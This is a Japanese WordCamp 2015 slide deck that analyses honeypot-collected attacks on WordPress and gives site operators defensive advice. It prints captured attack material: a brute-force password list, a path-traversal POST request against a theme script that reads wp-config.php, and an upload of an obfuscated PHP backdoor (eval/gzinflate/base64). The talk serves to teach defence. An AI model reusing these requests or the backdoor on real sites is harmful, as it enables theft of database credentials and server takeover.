WordCamp Kansai 2015 2015/07/26
攻撃者からみたWordPressセキュリティ松本 悦宜@ym405nm発表 2015/07/27加筆修正 2015/07/28
View Slide
自己紹介• 松本 悦宜 (まつもと よしのり)• 神戸デジタル・ラボセキュリティソリューション事業部• セキュリティ診断 / コンサルティング• 講演: OWASP AppSec APAC 2014, Hack In The Box AmsterdamHAXPO 2014, HTML5とか勉強会• 共著:WordPressプロフェッショナル養成読本(技術評論社)• 脆弱性報告: Welcart、MailPoet Plugin など@ym405nm
目次• 現状• 攻撃者について• 実際に攻撃されてみた• 傾向と対策• まとめ
WordPressセキュリティの現状
WordPress = 狙われる?熊本競輪でサイト改ざん - 原因はWPプラグイン「FancyBox」の脆弱性http://www.security-next.com/056249l
現状マルウェアが設置されているサイトのうち19% が WordPressという調査も
脆弱性の数昨年1年間に JVN に届けられている数は 17 件http://jvndb.jvn.jp/
脆弱性の数関連ソフトウェアも含めると 301 件※例外が含まれていたり、JVNに届けられていないものもあります参考Drupal : 81件
攻撃者について
誰がやってるのか?• ハクティビスト• 政治的主張など、自分たちの主張を通すためにサイトを改ざんする• 改ざんしたものを目立つようにアピールする• マルウェア配布者• 難読化したスクリプトなどを仕込み訪問者にマルウェア感染させる• 標的型攻撃者グループ• 使用するマルウェアのホスティングとして使用する• 攻撃者と通信をし、他社への攻撃に利用される
ハクティビストによる攻撃事例• よく見られる改ざんパターンHACKEDBYA HACKER For Sale!!① 攻撃者の名前や主張が表示される場合② 偽ブランドサイトに書き換えられる場合
(会場のみ)
標的型攻撃に利用される例踏み台サイト(WordPress)攻撃者 標的となる組織①マルウエア設置②標的型メール送信③誘導
なぜ狙うのか?
なぜWordPressを狙うのか• 圧倒的なユーザ数• 行き届かないユーザ管理• 100人以上の編集者を抱えるサイト• 編集者、管理者の面識がほとんどないサイト• サードパーティ製ソフトウェアの普及• テーマやプラグイン• セキュリティレベルはそれぞれの開発者に依存する
なぜWordPressを狙うのか• 古いバージョンは脆弱性がわかっている• 脆弱性情報から詳細が推測可能なものも• ソースコードから攻撃手法が推測可能• 攻撃手法が公開されているものもある
WordPress ≠あぶない!• シェアが多いという点で狙われがちではあるが…• 本体のセキュリティに対する意識が高い• セキュリティ対策が増えてきた危ないというイメージよりも、安全に運用しようという意識が大事
どのように?
どのように狙われているのか• 攻撃者は弱そうな WordPress を狙っている• どこを狙えばいいのか• URLから特徴がわかるのか• 脆弱なソフトウェアを使用しているサイトを探す• 脆弱性情報を共有するメーリングリスト• 脆弱性売買サイト※ただし WordPress 関連の脆弱性は無料で配布されていることが多い データを集めてみた
実際に攻撃されてみた
攻撃を集めるにはWordPress WordPress攻撃者なぜ攻撃されない? なぜ攻撃される?
攻撃を集めるにはWordPress攻撃者攻撃されるコンテンツとは?
どのように狙われているのかWPBOTログ解析コンテンツ投稿攻撃/スキャン収集WP WPDemo
収集した結果
最近多く見られる攻撃パターン• アカウントクラッキング• wp-config.php 情報の窃取• ファイルアップロード簡単に事例をみてみましょう!WordPressに対する攻撃テーマ・プラグインに対する攻撃
アカウントクラッキング試行パスワード 回数[server-name]123456 960 72[server-name]123 49[server-name][server-name] 48[server-name]000000 48[server-name]111 48[server-name]111111 48[server-name]1234 48[server-name]12345 48[server-name]12345678 48[server-name]123abc 48[server-name]222 48[server-name]222222 48[server-name]333 48[server-name]444 48[server-name]555 48[server-name]555555 48[server-name]666 48[server-name]666666 48※ 2014年3月~5月計測
wp-config.php 情報の窃取POST /wp-content/themes/dejavu/lib/scripts/dl-skin.php HTTP/1.1User-Agent: Mozilla/5.0 (X11; Linux amd64) AppleWebKit/534.36 (KHTML, like Gecko)Chrome/13.0.766.0 Safari/534.36Host: serverAccept-Encoding: gzipReferer: http://serverAccept-Charset: utf-8,windows-1251;q=0.7,*;q=0.6Accept-Language: en-us,en;q=0.8Keep-Alive: 300Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.4Content-Length: 60Content-Type: application/x-www-form-urlencoded_mysite_download_skin=..%2F..%2F..%2F..%2F..%2Fwp-config.phpwp-config.php の内容を読み取ろうとしている(会場のみ)(会場のみ)
ファイルアップロードContent-Disposition: form-data; name="Filedata"; filename="ifire.php"Content-Type: text/plaineval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FBkRxZn0f6q3Gcs+2Ys/abIVOPpfXmRTXvz5R4hjYd08eetcBFr0pQjoAYzFmIynUXP1twBDkLIVp9ku+c7Gx5lyEF*******sO0rvRimq14L4AP4oNUm42E/uiMCbyyu1txOSxZtXwSNTvMO1d1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX/u8/f//+/d//AQ==")));?>既知のファイルアップロード機能に認証がない脆弱性を使用してPHPファイルをアップロードしようとしているアップロードされたファイルは攻撃者の攻撃用ツールとして動作される
ファイルアップロードって?画像攻撃用WordPressテーマ攻撃者によるアップロード方法外部からアクセス可能セキュリティ用語では「バックドア」と呼ばれ攻撃者とサーバの裏口/勝手口のように使われる
悪用事例• ページを改ざんされる• データベースの情報を持っていかれる• 他のサーバ/サイトの攻撃の踏み台になる
運用者の対策
運用者の対策(鉄則編)• WordPress やテーマ・プラグインは最新版に保つ• アカウントの管理をしっかりする• パスワードは強度なものにする• テーマ / プラグインの選定をする• メンテナンス頻度• 脆弱性情報への対応頻度• 明らかに不要なものは無効→削除しておく
運用者の対策(応用編)• セキュリティ拡張機能(プラグイン)や、セキュリティ製品の導入を検討する
運用者の対策• あわせて対策したい• サーバの選定• ログの確認(ログイン履歴、アクセスログ)• 脆弱性情報の収集
まとめ
まとめ• 今後もWordPressに対する攻撃は減らない• 攻撃者は既知のテーマ / プラグインの脆弱性を使用することが多い• アカウントの管理や、テーマ / プラグインの管理をしっかりとする安全なWordPressライフを!
おまけ
Follow me!会員サイトとして、適宜詳細データをお知らせする予定です画面イメージ(開発中のものです)今日ご紹介したデータは専用サイトにて公開予定• 現在β版として運用中です• 正式版は有料アカウントとしてサービスの提供予定です• 現在、レビュアーを募集中です。(主に開発者・セキュリティ関係者にお願いしています。レビュー期間中は無料でサービスをご使用いただけます)http://wp-portal.net
ご清聴ありがとうございましたAny Questions ?Mail : [email protected]Twitter : ym405nmFacebook : facebook.com/ym405nm